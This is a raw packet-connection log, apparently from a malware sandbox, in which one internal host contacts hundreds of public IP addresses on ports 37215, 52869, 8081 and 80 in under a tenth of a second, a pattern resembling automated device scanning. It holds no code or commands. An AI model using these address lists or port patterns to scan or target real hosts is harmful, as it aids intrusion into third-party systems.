Jul 20, 2024 23:01:03.430238962 CEST	8081	33942	133.138.30.82	192.168.2.14
Jul 20, 2024 23:01:03.430238962 CEST	47936	80	192.168.2.14	88.135.31.71
Jul 20, 2024 23:01:03.430239916 CEST	49632	80	192.168.2.14	88.202.206.220
Jul 20, 2024 23:01:03.430247068 CEST	8081	35948	173.159.186.163	192.168.2.14
Jul 20, 2024 23:01:03.430347919 CEST	80	49914	88.56.57.178	192.168.2.14
Jul 20, 2024 23:01:03.430354118 CEST	48016	52869	192.168.2.14	217.244.72.189
Jul 20, 2024 23:01:03.430457115 CEST	52869	50516	213.207.143.98	192.168.2.14
Jul 20, 2024 23:01:03.430465937 CEST	8081	39910	72.59.175.128	192.168.2.14
Jul 20, 2024 23:01:03.430469990 CEST	8081	39910	72.59.175.128	192.168.2.14
Jul 20, 2024 23:01:03.430500031 CEST	50516	52869	192.168.2.14	213.207.143.98
Jul 20, 2024 23:01:03.430521011 CEST	48412	80	192.168.2.14	88.212.58.197
Jul 20, 2024 23:01:03.430535078 CEST	44818	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:03.430535078 CEST	39728	52869	192.168.2.14	123.243.178.81
Jul 20, 2024 23:01:03.430938005 CEST	8081	40250	72.59.175.128	192.168.2.14
Jul 20, 2024 23:01:03.430984974 CEST	80	40092	88.176.168.193	192.168.2.14
Jul 20, 2024 23:01:03.431204081 CEST	40250	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:03.431354046 CEST	52869	48680	65.248.115.141	192.168.2.14
Jul 20, 2024 23:01:03.431806087 CEST	52869	58720	41.70.70.158	192.168.2.14
Jul 20, 2024 23:01:03.431823969 CEST	40092	80	192.168.2.14	88.176.168.193
Jul 20, 2024 23:01:03.431855917 CEST	80	36426	88.65.113.2	192.168.2.14
Jul 20, 2024 23:01:03.431891918 CEST	36426	80	192.168.2.14	88.65.113.2
Jul 20, 2024 23:01:03.432286978 CEST	8081	53932	37.42.171.254	192.168.2.14
Jul 20, 2024 23:01:03.432478905 CEST	80	59316	88.54.76.9	192.168.2.14
Jul 20, 2024 23:01:03.433397055 CEST	40850	52869	192.168.2.14	2.115.51.25
Jul 20, 2024 23:01:03.433686018 CEST	52869	43302	188.64.202.52	192.168.2.14
Jul 20, 2024 23:01:03.434215069 CEST	59316	80	192.168.2.14	88.54.76.9
Jul 20, 2024 23:01:03.434215069 CEST	35948	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:03.434215069 CEST	33942	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:03.434384108 CEST	43302	52869	192.168.2.14	188.64.202.52
Jul 20, 2024 23:01:03.434403896 CEST	55068	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:03.434403896 CEST	55068	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:03.434403896 CEST	48680	52869	192.168.2.14	65.248.115.141
Jul 20, 2024 23:01:03.434519053 CEST	58720	52869	192.168.2.14	41.70.70.158
Jul 20, 2024 23:01:03.435641050 CEST	53932	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:03.435641050 CEST	49914	80	192.168.2.14	88.56.57.178
Jul 20, 2024 23:01:03.435900927 CEST	55408	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:03.436284065 CEST	8081	36162	212.240.235.211	192.168.2.14
Jul 20, 2024 23:01:03.436301947 CEST	8081	36162	212.240.235.211	192.168.2.14
Jul 20, 2024 23:01:03.436306953 CEST	8081	36502	212.240.235.211	192.168.2.14
Jul 20, 2024 23:01:03.436312914 CEST	52869	60916	187.235.69.197	192.168.2.14
Jul 20, 2024 23:01:03.436583042 CEST	80	48412	88.212.58.197	192.168.2.14
Jul 20, 2024 23:01:03.436769962 CEST	48412	80	192.168.2.14	88.212.58.197
Jul 20, 2024 23:01:03.436800957 CEST	8081	60458	128.37.79.13	192.168.2.14
Jul 20, 2024 23:01:03.437067986 CEST	60916	52869	192.168.2.14	187.235.69.197
Jul 20, 2024 23:01:03.437298059 CEST	36502	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:03.437916040 CEST	39486	80	192.168.2.14	88.171.103.168
Jul 20, 2024 23:01:03.437988997 CEST	52869	50516	213.207.143.98	192.168.2.14
Jul 20, 2024 23:01:03.438201904 CEST	50516	52869	192.168.2.14	213.207.143.98
Jul 20, 2024 23:01:03.438257933 CEST	8081	40250	72.59.175.128	192.168.2.14
Jul 20, 2024 23:01:03.438376904 CEST	60458	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:03.438479900 CEST	52869	40850	2.115.51.25	192.168.2.14
Jul 20, 2024 23:01:03.438530922 CEST	40850	52869	192.168.2.14	2.115.51.25
Jul 20, 2024 23:01:03.438576937 CEST	80	40092	88.176.168.193	192.168.2.14
Jul 20, 2024 23:01:03.438792944 CEST	37326	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:03.438792944 CEST	37326	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:03.438843012 CEST	80	36426	88.65.113.2	192.168.2.14
Jul 20, 2024 23:01:03.439186096 CEST	45164	52869	192.168.2.14	188.154.109.67
Jul 20, 2024 23:01:03.439649105 CEST	8081	55068	87.1.206.253	192.168.2.14
Jul 20, 2024 23:01:03.439652920 CEST	8081	55068	87.1.206.253	192.168.2.14
Jul 20, 2024 23:01:03.440306902 CEST	37666	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:03.440598965 CEST	47684	80	192.168.2.14	88.197.55.252
Jul 20, 2024 23:01:03.441407919 CEST	8081	55408	87.1.206.253	192.168.2.14
Jul 20, 2024 23:01:03.441447020 CEST	55408	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:03.442209005 CEST	40250	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:03.442251921 CEST	36426	80	192.168.2.14	88.65.113.2
Jul 20, 2024 23:01:03.442295074 CEST	40092	80	192.168.2.14	88.176.168.193
Jul 20, 2024 23:01:03.442974091 CEST	80	39486	88.171.103.168	192.168.2.14
Jul 20, 2024 23:01:03.443038940 CEST	39486	80	192.168.2.14	88.171.103.168
Jul 20, 2024 23:01:03.443100929 CEST	80	48412	88.212.58.197	192.168.2.14
Jul 20, 2024 23:01:03.443943977 CEST	46384	52869	192.168.2.14	172.76.44.174
Jul 20, 2024 23:01:03.444047928 CEST	8081	37326	150.169.132.104	192.168.2.14
Jul 20, 2024 23:01:03.444051981 CEST	8081	37326	150.169.132.104	192.168.2.14
Jul 20, 2024 23:01:03.444211006 CEST	40402	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:03.444211006 CEST	40402	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:03.444516897 CEST	8081	36502	212.240.235.211	192.168.2.14
Jul 20, 2024 23:01:03.445023060 CEST	52869	45164	188.154.109.67	192.168.2.14
Jul 20, 2024 23:01:03.445312977 CEST	45164	52869	192.168.2.14	188.154.109.67
Jul 20, 2024 23:01:03.445373058 CEST	52869	60916	187.235.69.197	192.168.2.14
Jul 20, 2024 23:01:03.445559025 CEST	8081	37666	150.169.132.104	192.168.2.14
Jul 20, 2024 23:01:03.445605040 CEST	37666	8081	192.168.2.14	150.169.132.104
Jul 20, 2024 23:01:03.445835114 CEST	52869	40850	2.115.51.25	192.168.2.14
Jul 20, 2024 23:01:03.445838928 CEST	52725	37215	192.168.2.14	197.253.111.210
Jul 20, 2024 23:01:03.445894003 CEST	52725	37215	192.168.2.14	18.195.237.42
Jul 20, 2024 23:01:03.445916891 CEST	52725	37215	192.168.2.14	151.173.29.9
Jul 20, 2024 23:01:03.445935011 CEST	52725	37215	192.168.2.14	157.39.247.83
Jul 20, 2024 23:01:03.445962906 CEST	52725	37215	192.168.2.14	157.27.156.252
Jul 20, 2024 23:01:03.445962906 CEST	52725	37215	192.168.2.14	41.36.109.130
Jul 20, 2024 23:01:03.445985079 CEST	52725	37215	192.168.2.14	157.38.212.71
Jul 20, 2024 23:01:03.446085930 CEST	52725	37215	192.168.2.14	208.162.133.146
Jul 20, 2024 23:01:03.446085930 CEST	52725	37215	192.168.2.14	41.116.147.110
Jul 20, 2024 23:01:03.446158886 CEST	52725	37215	192.168.2.14	197.1.252.213
Jul 20, 2024 23:01:03.446158886 CEST	52725	37215	192.168.2.14	212.61.76.50
Jul 20, 2024 23:01:03.446160078 CEST	52725	37215	192.168.2.14	41.135.123.11
Jul 20, 2024 23:01:03.446221113 CEST	80	47684	88.197.55.252	192.168.2.14
Jul 20, 2024 23:01:03.446355104 CEST	52725	37215	192.168.2.14	181.7.138.240
Jul 20, 2024 23:01:03.446355104 CEST	52725	37215	192.168.2.14	187.169.124.166
Jul 20, 2024 23:01:03.446355104 CEST	52725	37215	192.168.2.14	41.167.148.200
Jul 20, 2024 23:01:03.446363926 CEST	52725	37215	192.168.2.14	200.159.126.71
Jul 20, 2024 23:01:03.446363926 CEST	52725	37215	192.168.2.14	98.20.71.159
Jul 20, 2024 23:01:03.446392059 CEST	52725	37215	192.168.2.14	41.177.182.89
Jul 20, 2024 23:01:03.446532011 CEST	52725	37215	192.168.2.14	157.176.236.80
Jul 20, 2024 23:01:03.446542025 CEST	52725	37215	192.168.2.14	157.166.67.79
Jul 20, 2024 23:01:03.446701050 CEST	52725	37215	192.168.2.14	122.197.102.121
Jul 20, 2024 23:01:03.446701050 CEST	52725	37215	192.168.2.14	157.37.64.90
Jul 20, 2024 23:01:03.446701050 CEST	40742	8081	192.168.2.14	64.151.76.247
Jul 20, 2024 23:01:03.446702003 CEST	47684	80	192.168.2.14	88.197.55.252
Jul 20, 2024 23:01:03.447026014 CEST	52725	37215	192.168.2.14	133.78.34.31
Jul 20, 2024 23:01:03.447026968 CEST	52725	37215	192.168.2.14	197.221.83.254
Jul 20, 2024 23:01:03.447036982 CEST	52725	37215	192.168.2.14	197.24.155.216
Jul 20, 2024 23:01:03.447036982 CEST	52725	37215	192.168.2.14	212.240.183.0
Jul 20, 2024 23:01:03.447036982 CEST	52725	37215	192.168.2.14	157.98.176.2
Jul 20, 2024 23:01:03.447036982 CEST	52725	37215	192.168.2.14	197.38.231.171
Jul 20, 2024 23:01:03.447145939 CEST	52725	37215	192.168.2.14	41.34.107.16
Jul 20, 2024 23:01:03.447145939 CEST	52725	37215	192.168.2.14	41.107.164.92
Jul 20, 2024 23:01:03.447145939 CEST	52725	37215	192.168.2.14	148.29.0.19
Jul 20, 2024 23:01:03.447145939 CEST	52725	37215	192.168.2.14	41.43.224.222
Jul 20, 2024 23:01:03.447146893 CEST	52725	37215	192.168.2.14	171.186.170.148
Jul 20, 2024 23:01:03.447146893 CEST	52725	37215	192.168.2.14	157.24.24.17
Jul 20, 2024 23:01:03.447273016 CEST	8081	55408	87.1.206.253	192.168.2.14
Jul 20, 2024 23:01:03.447410107 CEST	52725	37215	192.168.2.14	128.197.81.243
Jul 20, 2024 23:01:03.447410107 CEST	52725	37215	192.168.2.14	197.179.75.211
Jul 20, 2024 23:01:03.447410107 CEST	52725	37215	192.168.2.14	166.80.241.91
Jul 20, 2024 23:01:03.447410107 CEST	52725	37215	192.168.2.14	197.57.156.185
Jul 20, 2024 23:01:03.447410107 CEST	52725	37215	192.168.2.14	197.160.79.126
Jul 20, 2024 23:01:03.447740078 CEST	52725	37215	192.168.2.14	157.193.7.72
Jul 20, 2024 23:01:03.447740078 CEST	52725	37215	192.168.2.14	96.50.39.180
Jul 20, 2024 23:01:03.447740078 CEST	52725	37215	192.168.2.14	157.89.201.91
Jul 20, 2024 23:01:03.447786093 CEST	52725	37215	192.168.2.14	197.252.184.130
Jul 20, 2024 23:01:03.447786093 CEST	52725	37215	192.168.2.14	197.82.199.168
Jul 20, 2024 23:01:03.447786093 CEST	52725	37215	192.168.2.14	221.40.188.74
Jul 20, 2024 23:01:03.447786093 CEST	52725	37215	192.168.2.14	157.70.127.19
Jul 20, 2024 23:01:03.447786093 CEST	52725	37215	192.168.2.14	41.120.237.5
Jul 20, 2024 23:01:03.447786093 CEST	52725	37215	192.168.2.14	211.150.3.47
Jul 20, 2024 23:01:03.447786093 CEST	52725	37215	192.168.2.14	197.188.141.9
Jul 20, 2024 23:01:03.447786093 CEST	52725	37215	192.168.2.14	41.171.220.22
Jul 20, 2024 23:01:03.448129892 CEST	52725	37215	192.168.2.14	48.200.124.66
Jul 20, 2024 23:01:03.448129892 CEST	52725	37215	192.168.2.14	221.232.156.2
Jul 20, 2024 23:01:03.448129892 CEST	52725	37215	192.168.2.14	157.85.25.154
Jul 20, 2024 23:01:03.448129892 CEST	52725	37215	192.168.2.14	41.42.5.74
Jul 20, 2024 23:01:03.448129892 CEST	52725	37215	192.168.2.14	211.171.110.94
Jul 20, 2024 23:01:03.448560953 CEST	52725	37215	192.168.2.14	197.9.56.149
Jul 20, 2024 23:01:03.448560953 CEST	52725	37215	192.168.2.14	157.139.36.46
Jul 20, 2024 23:01:03.448560953 CEST	52725	37215	192.168.2.14	175.136.209.167
Jul 20, 2024 23:01:03.448560953 CEST	52725	37215	192.168.2.14	157.73.176.224
Jul 20, 2024 23:01:03.448560953 CEST	52725	37215	192.168.2.14	41.203.149.103
Jul 20, 2024 23:01:03.448560953 CEST	52725	37215	192.168.2.14	197.150.84.25
Jul 20, 2024 23:01:03.448560953 CEST	52725	37215	192.168.2.14	41.233.133.241
Jul 20, 2024 23:01:03.448560953 CEST	52725	37215	192.168.2.14	197.198.171.240
Jul 20, 2024 23:01:03.448674917 CEST	80	39486	88.171.103.168	192.168.2.14
Jul 20, 2024 23:01:03.448786974 CEST	52725	37215	192.168.2.14	197.123.215.194
Jul 20, 2024 23:01:03.448786974 CEST	52725	37215	192.168.2.14	157.102.88.79
Jul 20, 2024 23:01:03.448786974 CEST	52725	37215	192.168.2.14	197.91.36.141
Jul 20, 2024 23:01:03.448786974 CEST	52725	37215	192.168.2.14	157.94.206.239
Jul 20, 2024 23:01:03.448786974 CEST	52725	37215	192.168.2.14	112.118.31.143
Jul 20, 2024 23:01:03.448959112 CEST	52725	37215	192.168.2.14	174.109.179.10
Jul 20, 2024 23:01:03.448959112 CEST	52725	37215	192.168.2.14	157.150.55.229
Jul 20, 2024 23:01:03.448959112 CEST	52725	37215	192.168.2.14	197.41.90.82
Jul 20, 2024 23:01:03.448959112 CEST	52725	37215	192.168.2.14	41.93.226.90
Jul 20, 2024 23:01:03.448959112 CEST	52725	37215	192.168.2.14	80.185.13.173
Jul 20, 2024 23:01:03.448959112 CEST	52725	37215	192.168.2.14	41.204.105.129
Jul 20, 2024 23:01:03.448959112 CEST	52725	37215	192.168.2.14	197.147.15.112
Jul 20, 2024 23:01:03.448959112 CEST	52725	37215	192.168.2.14	157.69.199.211
Jul 20, 2024 23:01:03.449023962 CEST	52869	46384	172.76.44.174	192.168.2.14
Jul 20, 2024 23:01:03.449167013 CEST	8081	40402	64.151.76.247	192.168.2.14
Jul 20, 2024 23:01:03.449500084 CEST	8081	40402	64.151.76.247	192.168.2.14
Jul 20, 2024 23:01:03.450402975 CEST	52725	37215	192.168.2.14	197.138.28.9
Jul 20, 2024 23:01:03.450402975 CEST	52725	37215	192.168.2.14	197.198.173.107
Jul 20, 2024 23:01:03.450402975 CEST	52725	37215	192.168.2.14	197.216.107.62
Jul 20, 2024 23:01:03.450402975 CEST	52725	37215	192.168.2.14	41.99.96.147
Jul 20, 2024 23:01:03.450403929 CEST	52725	37215	192.168.2.14	197.37.56.19
Jul 20, 2024 23:01:03.450403929 CEST	52725	37215	192.168.2.14	42.124.189.109
Jul 20, 2024 23:01:03.450503111 CEST	52725	37215	192.168.2.14	157.239.188.37
Jul 20, 2024 23:01:03.450503111 CEST	52725	37215	192.168.2.14	84.58.208.79
Jul 20, 2024 23:01:03.450503111 CEST	52725	37215	192.168.2.14	119.104.173.17
Jul 20, 2024 23:01:03.450503111 CEST	52725	37215	192.168.2.14	49.240.11.144
Jul 20, 2024 23:01:03.450504065 CEST	52725	37215	192.168.2.14	58.195.53.166
Jul 20, 2024 23:01:03.450504065 CEST	52725	37215	192.168.2.14	161.234.199.200
Jul 20, 2024 23:01:03.450504065 CEST	52725	37215	192.168.2.14	41.26.105.139
Jul 20, 2024 23:01:03.450833082 CEST	52725	37215	192.168.2.14	157.232.183.8
Jul 20, 2024 23:01:03.450833082 CEST	52725	37215	192.168.2.14	157.156.34.177
Jul 20, 2024 23:01:03.450834036 CEST	52725	37215	192.168.2.14	197.153.78.108
Jul 20, 2024 23:01:03.450834036 CEST	52725	37215	192.168.2.14	197.233.138.129
Jul 20, 2024 23:01:03.450834036 CEST	52725	37215	192.168.2.14	157.156.72.128
Jul 20, 2024 23:01:03.450834036 CEST	52725	37215	192.168.2.14	92.64.109.2
Jul 20, 2024 23:01:03.450834036 CEST	52725	37215	192.168.2.14	197.248.165.153
Jul 20, 2024 23:01:03.450834036 CEST	52725	37215	192.168.2.14	157.164.58.12
Jul 20, 2024 23:01:03.450889111 CEST	52869	45164	188.154.109.67	192.168.2.14
Jul 20, 2024 23:01:03.450892925 CEST	37215	52725	197.253.111.210	192.168.2.14
Jul 20, 2024 23:01:03.450906992 CEST	37215	52725	18.195.237.42	192.168.2.14
Jul 20, 2024 23:01:03.451152086 CEST	52725	37215	192.168.2.14	157.32.53.131
Jul 20, 2024 23:01:03.451152086 CEST	52725	37215	192.168.2.14	197.65.248.102
Jul 20, 2024 23:01:03.451152086 CEST	52725	37215	192.168.2.14	41.32.58.72
Jul 20, 2024 23:01:03.451152086 CEST	52725	37215	192.168.2.14	41.28.196.52
Jul 20, 2024 23:01:03.451153040 CEST	52725	37215	192.168.2.14	157.97.83.71
Jul 20, 2024 23:01:03.451153040 CEST	52725	37215	192.168.2.14	157.200.153.251
Jul 20, 2024 23:01:03.451153040 CEST	52725	37215	192.168.2.14	157.231.97.191
Jul 20, 2024 23:01:03.451153040 CEST	52725	37215	192.168.2.14	41.206.151.131
Jul 20, 2024 23:01:03.451163054 CEST	37215	52725	157.27.156.252	192.168.2.14
Jul 20, 2024 23:01:03.451169014 CEST	37215	52725	157.38.212.71	192.168.2.14
Jul 20, 2024 23:01:03.451178074 CEST	37215	52725	41.36.109.130	192.168.2.14
Jul 20, 2024 23:01:03.451343060 CEST	52725	37215	192.168.2.14	157.212.111.29
Jul 20, 2024 23:01:03.451343060 CEST	52725	37215	192.168.2.14	197.211.156.8
Jul 20, 2024 23:01:03.451343060 CEST	52725	37215	192.168.2.14	45.168.126.225
Jul 20, 2024 23:01:03.451343060 CEST	52725	37215	192.168.2.14	41.116.209.33
Jul 20, 2024 23:01:03.451343060 CEST	52725	37215	192.168.2.14	197.228.120.64
Jul 20, 2024 23:01:03.451344013 CEST	52725	37215	192.168.2.14	157.59.173.180
Jul 20, 2024 23:01:03.451344013 CEST	52725	37215	192.168.2.14	199.61.145.35
Jul 20, 2024 23:01:03.451344013 CEST	52725	37215	192.168.2.14	157.28.208.36
Jul 20, 2024 23:01:03.451391935 CEST	37215	52725	157.39.247.83	192.168.2.14
Jul 20, 2024 23:01:03.451397896 CEST	37215	52725	208.162.133.146	192.168.2.14
Jul 20, 2024 23:01:03.451406956 CEST	8081	37666	150.169.132.104	192.168.2.14
Jul 20, 2024 23:01:03.451773882 CEST	37215	52725	212.61.76.50	192.168.2.14
Jul 20, 2024 23:01:03.451782942 CEST	37215	52725	41.116.147.110	192.168.2.14
Jul 20, 2024 23:01:03.451787949 CEST	37215	52725	41.135.123.11	192.168.2.14
Jul 20, 2024 23:01:03.451801062 CEST	37215	52725	197.1.252.213	192.168.2.14
Jul 20, 2024 23:01:03.451809883 CEST	37215	52725	151.173.29.9	192.168.2.14
Jul 20, 2024 23:01:03.451813936 CEST	37215	52725	181.7.138.240	192.168.2.14
Jul 20, 2024 23:01:03.451817989 CEST	37215	52725	157.166.67.79	192.168.2.14
Jul 20, 2024 23:01:03.451880932 CEST	37215	52725	187.169.124.166	192.168.2.14
Jul 20, 2024 23:01:03.451894999 CEST	37215	52725	122.197.102.121	192.168.2.14
Jul 20, 2024 23:01:03.451899052 CEST	37215	52725	41.167.148.200	192.168.2.14
Jul 20, 2024 23:01:03.452045918 CEST	52725	37215	192.168.2.14	197.57.12.65
Jul 20, 2024 23:01:03.452045918 CEST	52725	37215	192.168.2.14	41.159.245.252
Jul 20, 2024 23:01:03.452045918 CEST	52725	37215	192.168.2.14	41.25.63.79
Jul 20, 2024 23:01:03.452045918 CEST	52725	37215	192.168.2.14	100.131.207.210
Jul 20, 2024 23:01:03.452045918 CEST	52725	37215	192.168.2.14	197.9.74.194
Jul 20, 2024 23:01:03.452045918 CEST	52725	37215	192.168.2.14	157.21.144.252
Jul 20, 2024 23:01:03.452047110 CEST	52725	37215	192.168.2.14	157.7.129.75
Jul 20, 2024 23:01:03.452047110 CEST	52725	37215	192.168.2.14	49.119.133.182
Jul 20, 2024 23:01:03.452244997 CEST	37215	52725	41.177.182.89	192.168.2.14
Jul 20, 2024 23:01:03.452250004 CEST	37215	52725	197.24.155.216	192.168.2.14
Jul 20, 2024 23:01:03.452259064 CEST	37215	52725	133.78.34.31	192.168.2.14
Jul 20, 2024 23:01:03.452383995 CEST	37215	52725	212.240.183.0	192.168.2.14
Jul 20, 2024 23:01:03.452393055 CEST	37215	52725	41.34.107.16	192.168.2.14
Jul 20, 2024 23:01:03.452400923 CEST	37215	52725	157.98.176.2	192.168.2.14
Jul 20, 2024 23:01:03.452452898 CEST	52725	37215	192.168.2.14	41.127.244.231
Jul 20, 2024 23:01:03.452452898 CEST	52725	37215	192.168.2.14	157.46.64.49
Jul 20, 2024 23:01:03.452452898 CEST	52725	37215	192.168.2.14	65.171.178.93
Jul 20, 2024 23:01:03.452452898 CEST	52725	37215	192.168.2.14	197.224.197.36
Jul 20, 2024 23:01:03.452452898 CEST	52725	37215	192.168.2.14	197.195.21.87
Jul 20, 2024 23:01:03.452452898 CEST	52725	37215	192.168.2.14	105.210.119.80
Jul 20, 2024 23:01:03.452452898 CEST	52725	37215	192.168.2.14	157.65.23.29
Jul 20, 2024 23:01:03.452452898 CEST	52725	37215	192.168.2.14	197.44.21.237
Jul 20, 2024 23:01:03.452694893 CEST	37215	52725	41.107.164.92	192.168.2.14
Jul 20, 2024 23:01:03.452699900 CEST	37215	52725	157.37.64.90	192.168.2.14
Jul 20, 2024 23:01:03.452833891 CEST	37215	52725	128.197.81.243	192.168.2.14
Jul 20, 2024 23:01:03.452837944 CEST	37215	52725	197.221.83.254	192.168.2.14
Jul 20, 2024 23:01:03.452847004 CEST	37215	52725	197.179.75.211	192.168.2.14
Jul 20, 2024 23:01:03.452860117 CEST	37215	52725	200.159.126.71	192.168.2.14
Jul 20, 2024 23:01:03.453033924 CEST	8081	40742	64.151.76.247	192.168.2.14
Jul 20, 2024 23:01:03.453038931 CEST	37215	52725	148.29.0.19	192.168.2.14
Jul 20, 2024 23:01:03.453052044 CEST	37215	52725	197.252.184.130	192.168.2.14
Jul 20, 2024 23:01:03.453123093 CEST	37215	52725	98.20.71.159	192.168.2.14
Jul 20, 2024 23:01:03.453128099 CEST	37215	52725	41.43.224.222	192.168.2.14
Jul 20, 2024 23:01:03.453136921 CEST	37215	52725	197.82.199.168	192.168.2.14
Jul 20, 2024 23:01:03.453201056 CEST	52725	37215	192.168.2.14	41.63.204.221
Jul 20, 2024 23:01:03.453201056 CEST	52725	37215	192.168.2.14	175.127.227.163
Jul 20, 2024 23:01:03.453201056 CEST	52725	37215	192.168.2.14	157.140.225.255
Jul 20, 2024 23:01:03.453201056 CEST	52725	37215	192.168.2.14	157.35.237.125
Jul 20, 2024 23:01:03.453201056 CEST	52725	37215	192.168.2.14	197.33.157.33
Jul 20, 2024 23:01:03.453201056 CEST	36502	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:03.453201056 CEST	52725	37215	192.168.2.14	41.221.33.91
Jul 20, 2024 23:01:03.453285933 CEST	37215	52725	166.80.241.91	192.168.2.14
Jul 20, 2024 23:01:03.453290939 CEST	37215	52725	157.176.236.80	192.168.2.14
Jul 20, 2024 23:01:03.453469038 CEST	37215	52725	197.57.156.185	192.168.2.14
Jul 20, 2024 23:01:03.453474045 CEST	37215	52725	197.38.231.171	192.168.2.14
Jul 20, 2024 23:01:03.453483105 CEST	37215	52725	171.186.170.148	192.168.2.14
Jul 20, 2024 23:01:03.453860044 CEST	37215	52725	197.9.56.149	192.168.2.14
Jul 20, 2024 23:01:03.454139948 CEST	52725	37215	192.168.2.14	157.155.48.39
Jul 20, 2024 23:01:03.454139948 CEST	52725	37215	192.168.2.14	157.205.166.142
Jul 20, 2024 23:01:03.454139948 CEST	52725	37215	192.168.2.14	41.234.82.81
Jul 20, 2024 23:01:03.454139948 CEST	52725	37215	192.168.2.14	168.204.135.219
Jul 20, 2024 23:01:03.454139948 CEST	52725	37215	192.168.2.14	41.176.13.97
Jul 20, 2024 23:01:03.454139948 CEST	52725	37215	192.168.2.14	41.139.96.255
Jul 20, 2024 23:01:03.454139948 CEST	52725	37215	192.168.2.14	157.29.81.159
Jul 20, 2024 23:01:03.454169989 CEST	37215	52725	221.40.188.74	192.168.2.14
Jul 20, 2024 23:01:03.454174995 CEST	37215	52725	197.160.79.126	192.168.2.14
Jul 20, 2024 23:01:03.454184055 CEST	37215	52725	157.70.127.19	192.168.2.14
Jul 20, 2024 23:01:03.454189062 CEST	37215	52725	157.24.24.17	192.168.2.14
Jul 20, 2024 23:01:03.454194069 CEST	37215	52725	41.120.237.5	192.168.2.14
Jul 20, 2024 23:01:03.454207897 CEST	37215	52725	157.139.36.46	192.168.2.14
Jul 20, 2024 23:01:03.454453945 CEST	52725	37215	192.168.2.14	9.1.245.191
Jul 20, 2024 23:01:03.454453945 CEST	52725	37215	192.168.2.14	157.159.57.3
Jul 20, 2024 23:01:03.454454899 CEST	52725	37215	192.168.2.14	157.253.2.101
Jul 20, 2024 23:01:03.454454899 CEST	52725	37215	192.168.2.14	41.157.157.252
Jul 20, 2024 23:01:03.454454899 CEST	52725	37215	192.168.2.14	157.44.22.241
Jul 20, 2024 23:01:03.454454899 CEST	52725	37215	192.168.2.14	197.160.7.39
Jul 20, 2024 23:01:03.454454899 CEST	52725	37215	192.168.2.14	197.12.159.55
Jul 20, 2024 23:01:03.454454899 CEST	52725	37215	192.168.2.14	197.140.242.193
Jul 20, 2024 23:01:03.454487085 CEST	37215	52725	174.109.179.10	192.168.2.14
Jul 20, 2024 23:01:03.454492092 CEST	37215	52725	175.136.209.167	192.168.2.14
Jul 20, 2024 23:01:03.454507113 CEST	37215	52725	157.150.55.229	192.168.2.14
Jul 20, 2024 23:01:03.454520941 CEST	37215	52725	157.73.176.224	192.168.2.14
Jul 20, 2024 23:01:03.454524994 CEST	37215	52725	197.123.215.194	192.168.2.14
Jul 20, 2024 23:01:03.454710007 CEST	37215	52725	157.193.7.72	192.168.2.14
Jul 20, 2024 23:01:03.454715014 CEST	37215	52725	211.150.3.47	192.168.2.14
Jul 20, 2024 23:01:03.454724073 CEST	37215	52725	41.203.149.103	192.168.2.14
Jul 20, 2024 23:01:03.454957008 CEST	37215	52725	197.41.90.82	192.168.2.14
Jul 20, 2024 23:01:03.454961061 CEST	37215	52725	41.93.226.90	192.168.2.14
Jul 20, 2024 23:01:03.454971075 CEST	37215	52725	197.150.84.25	192.168.2.14
Jul 20, 2024 23:01:03.454974890 CEST	37215	52725	80.185.13.173	192.168.2.14
Jul 20, 2024 23:01:03.455188036 CEST	52725	37215	192.168.2.14	197.186.136.100
Jul 20, 2024 23:01:03.455188036 CEST	52725	37215	192.168.2.14	197.56.204.138
Jul 20, 2024 23:01:03.455188036 CEST	52725	37215	192.168.2.14	47.41.98.206
Jul 20, 2024 23:01:03.455188036 CEST	52725	37215	192.168.2.14	41.131.226.159
Jul 20, 2024 23:01:03.455188036 CEST	52725	37215	192.168.2.14	157.146.181.67
Jul 20, 2024 23:01:03.455188036 CEST	52725	37215	192.168.2.14	157.234.118.231
Jul 20, 2024 23:01:03.455188990 CEST	52725	37215	192.168.2.14	157.135.101.16
Jul 20, 2024 23:01:03.455188990 CEST	52725	37215	192.168.2.14	108.92.57.223
Jul 20, 2024 23:01:03.455708027 CEST	52725	37215	192.168.2.14	41.213.121.33
Jul 20, 2024 23:01:03.455708027 CEST	52725	37215	192.168.2.14	197.172.21.48
Jul 20, 2024 23:01:03.455708027 CEST	52725	37215	192.168.2.14	157.125.212.107
Jul 20, 2024 23:01:03.455708027 CEST	52725	37215	192.168.2.14	197.226.130.147
Jul 20, 2024 23:01:03.455708027 CEST	52725	37215	192.168.2.14	77.65.52.12
Jul 20, 2024 23:01:03.455708027 CEST	52725	37215	192.168.2.14	197.208.154.119
Jul 20, 2024 23:01:03.455708027 CEST	60916	52869	192.168.2.14	187.235.69.197
Jul 20, 2024 23:01:03.455708027 CEST	52725	37215	192.168.2.14	197.29.25.95
Jul 20, 2024 23:01:03.455873013 CEST	80	47684	88.197.55.252	192.168.2.14
Jul 20, 2024 23:01:03.455996990 CEST	55408	8081	192.168.2.14	87.1.206.253
Jul 20, 2024 23:01:03.455996990 CEST	52725	37215	192.168.2.14	197.245.150.186
Jul 20, 2024 23:01:03.455996990 CEST	52725	37215	192.168.2.14	109.237.129.172
Jul 20, 2024 23:01:03.455996990 CEST	52725	37215	192.168.2.14	157.132.3.133
Jul 20, 2024 23:01:03.455996990 CEST	52725	37215	192.168.2.14	197.253.111.210
Jul 20, 2024 23:01:03.455996990 CEST	52725	37215	192.168.2.14	157.101.161.185
Jul 20, 2024 23:01:03.455996990 CEST	52725	37215	192.168.2.14	197.74.37.195
Jul 20, 2024 23:01:03.456115007 CEST	37215	52725	197.188.141.9	192.168.2.14
